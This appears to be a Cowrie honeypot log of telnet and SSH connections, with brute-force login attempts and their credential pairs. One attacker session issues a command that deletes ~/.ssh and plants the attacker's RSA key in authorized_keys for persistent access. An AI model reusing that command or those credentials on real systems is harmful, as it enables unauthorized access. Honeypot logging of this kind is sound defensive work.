{"eventid":"cowrie.session.closed","duration":33.165130615234375,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:09.544329Z","src_ip":"161.97.105.174","session":"1cec01444b78","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56782,"dst_ip":"159.203.135.109","dst_port":23,"session":"aafbc610cb3a","protocol":"telnet","message":"New connection: 161.97.105.174:56782 (159.203.135.109:23) [session: aafbc610cb3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:10.558790Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":38610,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7186f23c929","protocol":"ssh","message":"New connection: 200.187.71.114:38610 (10.17.0.5:22) [session: d7186f23c929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:11.267419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:11.272052Z","src_ip":"200.187.71.114","session":"d7186f23c929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:11.386389Z","src_ip":"200.187.71.114","session":"d7186f23c929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"!QAZ1qaz","message":"login attempt [ftpuser/!QAZ1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:11.878036Z","src_ip":"200.187.71.114","session":"d7186f23c929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.3375449180603,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:12.436945Z","src_ip":"161.97.105.174","session":"295c77e85200","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:13.009678Z","src_ip":"200.187.71.114","session":"d7186f23c929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":45416,"dst_ip":"10.17.0.5","dst_port":22,"session":"0159373d4c54","protocol":"ssh","message":"New connection: 152.32.130.174:45416 (10.17.0.5:22) [session: 0159373d4c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:14.261953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:14.271724Z","src_ip":"152.32.130.174","session":"0159373d4c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:14.487801Z","src_ip":"152.32.130.174","session":"0159373d4c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56794,"dst_ip":"159.203.135.109","dst_port":23,"session":"19398cb2f589","protocol":"telnet","message":"New connection: 161.97.105.174:56794 (159.203.135.109:23) [session: 19398cb2f589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:15.085217Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"thinker","message":"login attempt [oracle/thinker] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:15.380859Z","src_ip":"152.32.130.174","session":"0159373d4c54","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:15.860527Z","src_ip":"152.32.130.174","session":"0159373d4c54","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:15.865608Z","src_ip":"152.32.130.174","session":"0159373d4c54","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:15.869901Z","src_ip":"152.32.130.174","session":"0159373d4c54","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:16.089797Z","src_ip":"152.32.130.174","session":"0159373d4c54","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:16.573979Z","src_ip":"152.32.130.174","session":"0159373d4c54","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:16.578613Z","src_ip":"152.32.130.174","session":"0159373d4c54","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:16.802093Z","src_ip":"152.32.130.174","session":"0159373d4c54","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:16.807012Z","src_ip":"152.32.130.174","session":"0159373d4c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":53142,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dd5f999d03f","protocol":"ssh","message":"New connection: 152.32.130.174:53142 (10.17.0.5:22) [session: 3dd5f999d03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:17.009299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:17.014035Z","src_ip":"152.32.130.174","session":"3dd5f999d03f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:17.228370Z","src_ip":"152.32.130.174","session":"3dd5f999d03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.72703218460083,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:17.284932Z","src_ip":"161.97.105.174","session":"31afaaf40937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":56802,"dst_ip":"159.203.135.109","dst_port":23,"session":"53091e7cf995","protocol":"telnet","message":"New connection: 161.97.105.174:56802 (159.203.135.109:23) [session: 53091e7cf995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:17.618755Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:18.113887Z","src_ip":"152.32.130.174","session":"3dd5f999d03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:19.334740Z","src_ip":"152.32.130.174","session":"3dd5f999d03f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":53152,"dst_ip":"10.17.0.5","dst_port":22,"session":"21beeddaf513","protocol":"ssh","message":"New connection: 152.32.130.174:53152 (10.17.0.5:22) [session: 21beeddaf513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:19.554890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:19.559861Z","src_ip":"152.32.130.174","session":"21beeddaf513","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:19.781224Z","src_ip":"152.32.130.174","session":"21beeddaf513","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:20.689282Z","src_ip":"152.32.130.174","session":"21beeddaf513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49234,"dst_ip":"159.203.135.109","dst_port":23,"session":"c089e07db692","protocol":"telnet","message":"New connection: 161.97.105.174:49234 (159.203.135.109:23) [session: c089e07db692]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:20.784876Z"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:20.907644Z","src_ip":"152.32.130.174","session":"0159373d4c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:20.916525Z","src_ip":"152.32.130.174","session":"21beeddaf513","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":52112,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fc2fb65b0dc","protocol":"ssh","message":"New connection: 193.32.162.145:52112 (10.17.0.5:22) [session: 7fc2fb65b0dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:23.150775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:23.191281Z","src_ip":"193.32.162.145","session":"7fc2fb65b0dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:23.263474Z","src_ip":"193.32.162.145","session":"7fc2fb65b0dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:23.659725Z","src_ip":"193.32.162.145","session":"7fc2fb65b0dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49236,"dst_ip":"159.203.135.109","dst_port":23,"session":"5386dc40d306","protocol":"telnet","message":"New connection: 161.97.105.174:49236 (159.203.135.109:23) [session: 5386dc40d306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:23.738118Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:24.906849Z","src_ip":"193.32.162.145","session":"7fc2fb65b0dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49246,"dst_ip":"159.203.135.109","dst_port":23,"session":"545163696bdb","protocol":"telnet","message":"New connection: 161.97.105.174:49246 (159.203.135.109:23) [session: 545163696bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:26.558401Z"}
{"eventid":"cowrie.session.closed","duration":33.993935108184814,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:27.777437Z","src_ip":"161.97.105.174","session":"a79bb7156d87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":36962,"dst_ip":"159.203.135.109","dst_port":23,"session":"afce2d41164e","protocol":"telnet","message":"New connection: 161.97.105.174:36962 (159.203.135.109:23) [session: afce2d41164e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:29.847891Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":36116,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdd5c9c8506c","protocol":"ssh","message":"New connection: 202.125.94.71:36116 (10.17.0.5:22) [session: bdd5c9c8506c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:32.181329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:11:32.186198Z","src_ip":"202.125.94.71","session":"bdd5c9c8506c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-s